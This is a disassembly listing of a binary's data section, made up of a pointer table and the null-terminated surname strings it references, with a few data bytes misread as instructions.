		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		and	ah, ch
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC09
; ---------------------------------------------------------------------------
		align 4
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EBD4o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EBD0o
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EBCCo
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EBC8o
aZoldak		db 'Zoldak',0
		align 4
		dd 6272655Ah
		db 69h
; ---------------------------------------------------------------------------


loc_42EC09:				; CODE XREF: ___:0042EBC5j
		outsb
		imul	eax, [eax], 6167655Ah
		outsb
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC83h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EBB0o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EBACo
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EBA8o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EBA4o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EBA0o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EB9Co
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EB98o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EB94o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EB90o
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EB8Co
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EB88o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EB84o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EB80o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EB7Co
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EB78o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EB74o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EB70o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EB6Co
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EB68o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EB64o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EB60o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EB5Co
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EB58o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EB54o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EB50o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EB4Co
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EB48o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EB44o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EB40o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EB3Co
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EB38o
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EB34o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EB30o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EB2Co
aViens		db 'Viens',0            ; DATA XREF: ___:0042EB28o
		align 10h
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EB24o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EB20o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EB1Co
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EB18o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EB14o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EB10o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EB0Co
		align 10h
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EB08o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EB04o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EB00o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EAFCo
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EAF8o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EAF4o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EAF0o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EAECo
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EAE8o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EAE4o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EAE0o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EADCo
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EAD8o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EAD4o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EAD0o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EACCo
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EAC8o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EAC4o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EAC0o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EABCo
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EAB8o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EAB4o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EAB0o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EAACo
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EAA8o
		align 10h
aWales		db 'Wales',0            ; DATA XREF: ___:0042EAA4o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EAA0o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EA9Co
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EA98o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EA94o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EA90o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EA8Co
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EA88o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EA84o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EA80o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EA7Co
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EA78o
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EA74o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EA70o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EA6Co
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EA68o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EA64o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EA60o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EA5Co
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EA58o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EA54o
		align 10h
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EA50o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EA4Co
aTruss		db 'Truss',0            ; DATA XREF: ___:0042EA48o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042EA44o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042EA40o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042EA3Co
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042EA38o
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042EA34o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042EA30o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042EA2Co
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042EA28o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042EA24o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042EA20o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042EA1Co
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042EA18o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042EA14o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042EA10o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042EA0Co
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042EA08o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042EA04o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042EA00o
aTill		db 'Till',0             ; DATA XREF: ___:0042E9FCo
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E9F8o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E9F4o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E9F0o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E9ECo
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E9E8o
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E9E4o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E9E0o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E9DCo
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E9D8o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E9D4o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E9D0o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E9CCo
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E9C8o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E9C4o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E9C0o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E9BCo
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E9B8o
		align 10h
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E9B4o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E9B0o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E9ACo
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E9A8o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E9A4o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E9A0o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E99Co
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E998o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E994o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E990o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E98Co
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E988o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E984o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E980o
		align 10h
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E97Co
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E978o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E974o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E970o
		align 10h
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E96Co
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E968o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E964o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E960o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E95Co
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E958o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E954o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E950o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E94Co
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E948o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E944o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E940o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E93Co
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E938o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E934o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E930o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: ___:0042E92Co
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E928o
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E924o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E920o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E91Co
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E918o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E914o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E910o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E90Co
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E908o
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E904o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E900o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E8FCo
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E8F8o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E8F4o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E8F0o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E8ECo
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E8E8o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E8E4o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E8E0o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E8DCo
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E8D8o
		align 10h
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E8D4o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E8D0o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E8CCo
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E8C8o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E8C4o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E8C0o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E8BCo
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E8B8o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E8B4o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E8B0o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E8ACo
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E8A8o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E8A4o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E8A0o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E89Co
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E898o
		align 10h
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E894o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E890o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E88Co
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E888o
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E884o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E880o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E87Co
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E878o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E874o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E870o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E86Co
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E868o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E864o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E860o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E85Co
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E858o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E854o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E850o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E84Co
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E848o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E844o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E840o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E83Co
aSen		db 'Sen',0              ; DATA XREF: ___:0042E838o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E834o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E830o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E82Co
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E828o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E824o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E820o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E81Co
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E818o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E814o
		align 10h
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E810o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E80Co
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E808o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E804o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E800o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E7FCo
		align 10h
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E7F8o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E7F4o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E7F0o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E7ECo
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E7E8o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E7E4o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E7E0o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E7DCo
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E7D8o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E7D4o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E7CCo
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E7C8o
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E7C4o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E7C0o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E7BCo
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E7B8o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E7B4o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E7B0o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E7ACo
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E7A8o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E7A4o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E7A0o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E79Co
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E798o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E794o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E790o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E78Co
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E788o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: ___:0042E784o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E780o
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E77Co
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E778o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E774o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E770o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E76Co
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E768o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E764o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E760o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E75Co
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E758o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E754o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E750o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E74Co
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E748o
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E744o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E740o
		align 10h
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E73Co
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E738o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E734o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E730o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E72Co
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E728o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E724o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E720o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E71Co
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E718o
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E714o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E710o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E70Co
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E708o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E704o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E700o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E6FCo
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E6F8o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E6F4o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E6F0o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E6ECo
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E6E8o
		align 10h
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E6E4o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E6E0o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E6DCo
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E6D8o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E6D4o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E6D0o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E6CCo
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E6C8o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E6C4o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E6C0o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E6BCo
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E6B8o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E6B4o
		align 10h
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E6B0o
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E6ACo
		align 10h
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E6A8o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E6A4o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E6A0o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E69Co
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E698o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E694o
